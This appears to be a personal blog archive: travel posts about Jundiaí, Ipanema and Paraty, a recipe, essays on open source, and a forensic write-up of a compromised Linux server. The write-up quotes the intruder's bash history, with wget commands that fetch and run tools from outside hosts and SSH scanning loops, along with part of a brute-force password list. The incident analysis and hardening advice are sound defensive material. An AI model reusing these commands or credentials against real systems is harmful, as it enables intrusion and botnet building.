Borboletas do Japi

A 40 minutos de São Paulo está um dos melhores lugares para se passar um feriado: Fazenda Montanhas do Japi. E foi justamente nesse ótimo hotel fazenda que passamos a última Páscoa.

Encrustado nos pés da área de preservação da Serra do Japi, é longe o suficiente para abafar o barulho da cidade, e perto o suficiente para não haver desculpas nem dramas para cair na estrada. Logo ali, em Jundiaí.

(interaja com o mapa para conhecer a região)

O hotel fazenda é um complexo de 8 lagos rodeado por morros de mata virgem e flores perfumadas. É muito bem cuidado, com bosques de árvores, campos de grama aparada e borboletas, muitas borboletas. Uma visão bucólica do paraíso.

Casa principalA Casa de Pedra é a principal e tem uns 3 quartos para hóspedes, lounge, lazer, etc, e fica na subida de um morro, de frente para o lago principal, o que lhe confere uma bela vista de contemplação. Mas ficamos na Casa Gênio, afastada uns 400m (veja no mapa) e praticamente no meio do mato, com 2 suites, sala, cozinha e varanda, cujo caminho até a casa principal passa por um bosque de amoreiras, com borboletas por toda parte.

Suzana e Hanah lideram tudo não como donas de uma pousada, mas como anfitriãs em sua sala de estar, almoçando junto e contando as histórias de gerações passadas da família e da fazenda, a relação da região com a cultura da uva, e depois eucaliptos, etc.

A casa principal foi construída sobre ruínas seculares de jesuítas. Para evitar intervenções de estilos muito contrastantes, toda a arquitetura nova é rústica, mas com um inconfundível toque feminino e confortável. As constantes borboletas dão o toque final ao visual leve e colorido.

Trilhas na mataPara os aventureiros há as trilhas por dentro da Serra do Japi, beirando rios de águas cristalinas, árvores primárias, perdendo-se e achando-se ao sair em outro ponto inesperado da fazenda, despreocupadamente, guiado pelas infindáveis borboletas.

É tão perto que no sábado chamamos os amigos de São Paulo para virem almoçar e passar o dia, nadar no lago, remar no caiaque, andar a cavalo, contemplar as borboletas na paisagem florida.

É tão longe que a noite vimos um céu escuro e estrelado, típico dos lugares afastados. Aí a lua cheia logo nasceu e mandou as estrelas embora. Mas no dia seguinte, as borboletas continuavam lá.

Os bons cavalos nos levaram ao topo de um morro cuja paisagem lembrava Stonehenge. Muitas rochas. E borboletas. E o Pico-do-Jaraguá lá longe.

As redes sob os eucaliptosFazer três refeições daquelas por dia era desencorajador para nós, visitantes deslumbrados com a leveza de tantas borboletas. No café da manhã, além dos bolos e pães caseiros, deixavam umas chapas de ferro sobre o fogão a lenha para prepararmos nossos próprios sanduíches ou panquecas. Tinha que preparar sempre dois: um para matar a fome e outro para exercitar a pretensão de sanduicheiro-chapeiro-cozinheiro.

O almoço era concorrido com quem só vinha passar o dia, mas ao sentarmos nas mesas da varanda alta, contemplando os lagos e as borboletas, tudo se acalma. Se demandávamos demais do almoço, as redes de balanço sob o bosque de eucaliptos gigantes nos chamavam para um cochilo. Quanto mais altos, mais sensíveis são os eucaliptos às brisas que vem e vão, e juntos formavam o sonoro coro da canção de ninar que combinava com a rede.

Mesas na varanda altaO sino do lanche da tarde nos despertava, e aí as estrelas eram o suco de erva cidreira e a torta de banana com aveia.

À noite prometíamos tomar só uma sopa, mas não dava para resistir. A situação se complicou no sábado à noite: o forno de pizza estava quente, e a pretensão de cozinheiro pôde novamente ser exercitada ao montar as deliciosas redondas. Era a última noite.

No domingo choveu como o batismo dos céus. As borboletas foram se esconder, mas não por muito tempo. Logo voltaram.

Mas já era hora de partir. O consolo ao voltar para São Paulo era o céu de um cinza homogêneo e denso como uma redoma, mas às seis da tarde o sol atravessava-o por baixo alaranjando toda a cidade. Era um lindo jogo de contrastes brilhantes e cinzentos que fez surgir um arco-íris intenso estampado sobre o cinza. Pudemos vê-lo inteiro, de ponta a ponta. Cena de rara beleza na cidade.

Naquela hora, já em São Paulo, lembramos das borboletas. E sentimos saudades delas.

(fotografias e seus autores estão no site da fazenda)

Receita de Sopa Fria de Pepino com Iogurte

Ingredientes

  • Pepinos compridos: 3
  • Copos de iogurtes: 2
  • Nozes picadas ou xerém de castanha de cajú: 150g
  • Dil (também conhecido por endro) picado: 2 colheres de sopa cheias
  • Alho amassado: 1 dente grande
  • Sal a gosto

Modo de Preparo

  1. Descasque e pique os pepinos em pedaços pequenos
  2. Junte os 2 copos de iogurte e mais 2 copos iguais de água
  3. Junte o alho amassado, a castanha de cajú ou nozes, e o dil
  4. Misture tudo e vá temperando com sal a gosto
  5. Deixe gelar na geladeira por meia hora

Serve 2 pessoas, em cumbuca e com colher de sopa. É leve, saudável e saboroso e as vezes só janto isso e fico satisfeito.

Algumas pessoas gostam de moer pimenta do reino sobre sua cumbuca, outras preferem regar um fio de azeite de oliva.

De qualquer forma, a impressão que se tem é que pepino, iogurte e alho nasceram para serem comidos juntos, de tanto que combinam.

Abraço dos Dois Irmãos

Sol atrás dos Dois IrmãosDescolei umas horas livres no fim da tarde, na praia de Ipanema.

Mergulhei perto do posto 8, no Arpoador. O mar estava pouco agitado mas muito gelado. Brrrrr: águas oceânicas.

O horário de verão terminou final de semana passado, então acho que estamos no outono. Nesta época o sol se põe exatamente atrás do Morro Dois Irmãos, que marca o fim do Leblon e o começo do Vidigal.

Conforme o sol ia baixando, formava dois enormes braços de raios com a sombra do morro no miolo. O efeito era os Dois Irmãos abraçando a cidade. Muito bonito e inspirador. E pelo jeito a cena já serviu de inspiração para outras pessoas.

Centro do mapa
no mapa
Morro Dois Irmãos
no mapa
Posto 8
no mapa
Arpoador

Enquanto assitia aquilo, parado, de pé no calçadão, pessoas passavam por mim. Um rapaz com camisa verde-amarela, andando de costas para o morro, tascou o último naco de seu espetinho-de-gato, e, exatamente em frente a um cesto de lixo grande, laranja e chamativo, lançou o espeto vazio ao ar. O espeto caiu na areia, e o papel que o envolvia foi para a calçada. Ele fez questão de não mirar no cesto !

O que faz um ser humano ter tal atitude? Ô povinho! Acabou com minha contemplação…

Mesmo assim o Rio de Janeiro continua lindo.

A Paradise on Earth

Last weekend we traveled to the Paraty bay area, a place that I visit since I was a kid. But this time was very special because I knew a new paradise: Saco do Mamanguá.

They say there is only one fjord in Brazil, which is the Saco do Mamanguá. To get there we traveled by car to Paraty Mirim, then took any traineira (a small and slow fisherman’s boat) that was siting on the beach waiting for tourists. You don’t have to setup an appointment or pay in advance. Just go. They use to charge R$35 per hour, for any number of persons up to about 10. We did everything in 4 wonderful hours.

Mamanguá is an 8km-long arm of the Atlantic ocean, far enough from Paraty to look as an almost untouched paradise. It has small clear water, isolated beaches, perfects for snorkeling, or simply for relaxing. In addition we were blessed by a beautiful shiny day, thats why I can’t avoid using the “paradise” word all the time.

The whole region deserves a visit, and thats why I’m writing this in english, to inspire non-brazilian folks come visit my beautiful country. But instead of a stream of words I invite you to explore the interactive map below. Click on the markers () to see more information and local photos.

Center of map
map
Saco do Mamanguá
Saco do Mamanguá
map
Paraty Mirim. A small and old village 18km far from Paraty. This is where we met Nelson and his “traineira” to take us to Saco do Mamanguá.
map
A typical building in Paraty
A typical building in Paraty
map
Le GiteFazenda Graúna. Go to Le Gite D’Indaiatiba, a beautiful pousada and restaurant by Olivier and Valerie. This restaurant is very expensive (about R$150 for two, no wine), but very good too. This place is in higher altitudes so in clear sky days you can have lunch contemplating the wonderful ocean down there.
map
TrindadeTrindade and Laranjeiras. Trindade was a small fishermen’s village that turned to be a place that many hippies go nowadays. Larangeiras is a village of very expensive and big cotages.
map
Ilha do Algodão.
map
Exit from main road (Rio-Santos, BR-101) to the road that takes to Paraty Mirim.
map
Fazenda São Roque. There is nothing here, not even a good beach, but this is where I use to stay when I go to this region. No hotels nor pousadas.
map
Thermonuclear power station of Angra dos Reis
Thermonuclear power station of Angra dos Reis.
map
TaritubaTarituba. Used to be a small village and beach where simple fishermen live and work. They still live there, but all their wives opened simple restaurants along the shore and around. Due to the excess of fishermen boats (called “traineiras” in portuguese) this beach is dirty and not apropriate for swiming. Nowadays you may find some nightlife in Tarituba on weekends or holydays.
map
Mambucaba. This is well organized village built for the engineers of the Angra Dos Reis’ thermonuclear power station. It has the most beautiful beach on the region, with clear waters. This place is almost outside the bay so you will find surfists riding the waves. This beach is always full of young people.
map
Ilha do BreuFazenda São Gonçalo. A private farm with a calm beach, good for children, easily accessible only from certain points. You’ll find places to park your car and walk for 3 minutes to the beach. If you want, you can pay R$7 per person to a fisherman and he’ll take you and your family to the Breu (the picture) or Pelado island, right in front of the beach. You will stay on clear water beaches with big stones full of aquatic wildlife. Bring your diving mask and snorkel. There is also a rustic restaurant there, where you can chill out having a caipirinha de maracujá (passion fruit caipirinha) or água de côco (coconut water) with fried fish. Don’t miss their mandioca frita (mandioca is something similar to a potato but only available in Brazil).
map
The Iriri waterfallsCachoeira do Iriri. Coming from Paraty to Rio, right before the São Gonçalo farm complex, there is an almost unaccessible beach that you will see from a hill on the road. A reference is a red and huge cellular antena. On the other side of the road there is a bus stop and a trail into the forest. A 3 minutes walk will take you to a beautiful clear water river with a natural pool and waterfalls. You will see a closed house but you are not transpassing. Just chill out there the whole afternoon after the beach. You can stay under the waterfall to heal your backs. If you feel adventurous, look for a jungle trail right on the side of the pool, going uphill. It will take you to the second floor of rocks, but there is nothing there. Keep on going up until you find the river again on the third floor. Look down and you will see your non-adventurous friends that stood on the first waterfall. Say hello and goodby, because we are not finished. Walk by the river for 3 minutes until you see a huge natural water pool with another waterfall. You’ll be probably alone there. This is a window to paradise. Just don’t miss this point.

Other things to do

  • Walk around in old Paraty area and remember that you are visiting one of the eldest places in Brazil. Enjoy the rich nightlife with live music. The city is always packed by tourists from all parts of the world.
  • Have a light vegetarian meal in the Ganges, close to the famous Pousada do Sandi. Or choose one from the tons of restaurants around. In Paraty you should have seafood.
  • Have an icecream in a place called Sorveterapia. The owner is a sort of researcher in the art of icecream making, and has developed a very light and natural formula to produce it. Very unexpensive too.
  • Going north on the BR-101 road (also known as Rio-Santos) you will find many beaches. The most important ones are marked on the map. Ask also about the big number of waterfalls. Some of them you can see from the road, coming down the mountains big and white. My preferd is Cachoeira do Iriri, hidden but marked on the map.
  • Going south thowards Ubatuba there are some famous beaches too, as Prumirim, Ubatumirim, Almada, Praia Vermelha, etc. But I don’t use to go there very much: the closer you get to Ubatuba, the crowder will be.
  • If you have an off-road car or jeep, leave Paraty to west, towards Cunha, through the old way. There are some more waterfalls on the go, nice handcraft shops, restaurants and amazing tropical landscapes. Cunha is known as home of excellent ceramicists, so look for their studios. Have a meal in the Restaurante Uruguayo.
  • You will see a lot of rain in all that region too, almost every day. This is a bless that you should contemplate quietly. The rain smells absolutely delicious over there.

Segurança em Open Source

Cezar Taurion, excelente consultor e colega de trabalho, engatou seu blog no developerWorks. Gostaria de complementar seu artigo da Linux Magazine de dezembro de 2006 com algumas aspectos sobre segurança.

Não há como afirmar que Open Source é mais seguro que Closed Source, ou que Closed Source é mais seguro que Open Source. Quem o afirma, geralmente faz por religião e não por análise fria.

Considero-me especialista em segurança, mas evito ao máximo tocar neste assunto ao falar com clientes em geral, quando o âmbito é Open Source. Só quando eles perguntam. Simplesmente porque cada um terá uma opinião, e porque nehuma opinião pode ser verdadeiramente constatada.

Vamos dividir o mundo Open Source em dois blocos. No primeiro desfilam as escolas do grupo 1, campeões de audiência como o Apache HTTP Server, Samba, boa parte do Kernel, Bind, OpenSSH, DHCP, Firefox, OpenOffice.org, libc, que são arrasadoramente populares, e literalmente seguram a festa da Internet no ar. A lista não é muito maior que essa.

E no grupo 2 ficam todos os outros projetos Open Source, disputando um lugar ao sol e na passarela das distribuições Linux. Aqui estão as dezenas de milhares de projetos abandonados do SourceForge.net, e também projetos longe da criticidade das do grupo 1, mas já um pouco mais usados, como Gnome, KDE, X.org, a outra parte do Kernel, OpenLDAP, NAS, VNC, ImageMagick, Bash, Gimp, Kopete, Gaim, libc++, libxml, ntp, e mais todo o resto que não aparece no grupo 1 mas que está instalado aí no seu computador.

Enquanto pensamos que no closed source podem haver pontos inacessivelmente inseguros e backdoors, devemos também nos perguntar se há realmente pessoas analisando todo Open Source que interessa, com enfoque em segurança. Pense no grupo 2.

Sobre segurança em Open Source, a única coisa que podemos afirmar é que o código se mantém aberto para quem quiser auditá-lo (característica que o closed source não tem e nem quer ter). Mas novamente, isso não é garantia de que suas falhas serão achadas.

No grupo 1, dos superpopulares, a estória é outra. Eles são naturalmente submetidos a stress massivo e constante do mundo real. E a dependência que muitas empresas e indivíduos tem desse grupo os leva a se relacionar de forma simbiótica com sua evolução. Usam o fato de ter o fonte disponível para auditar e contribuir melhorias.

A separação entre os grupos não é tão nítida. Usei só para ilustrar. A fronteira é na verdade uma larga faixa de projetos Open Source com diferentes graduações de popularidade, stress e uso.

É preciso ter a soma de dois aspectos para se ter a melhor segurança: código fonte aberto + extrema popularidade, sendo o último mais importante (e mais difícil de alcançar) que o primeiro.

Um closed source também tem sua chance de ser seguro. Basta a empresa que o fabrica cuidar bem de seu produto. Se ele for popular, ela tende a cobrar menos para executar este trabalho. Se for menos popular, mas ainda desejado pelos clientes, seu preço tende a ser mais alto.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Open Source na Prática

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Open Source, Open Standards relacionados a TI

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Internet Music Download

It is very controversial if it is illegal or not to download music from the Internet. The law and license to use a phonogram (a CD track) is not clear for the masses, or nobody never explained it precisely.

Understand the Context

I met a professional musician once that was studying musical production in the university, and he outlined some aspects very clearly:

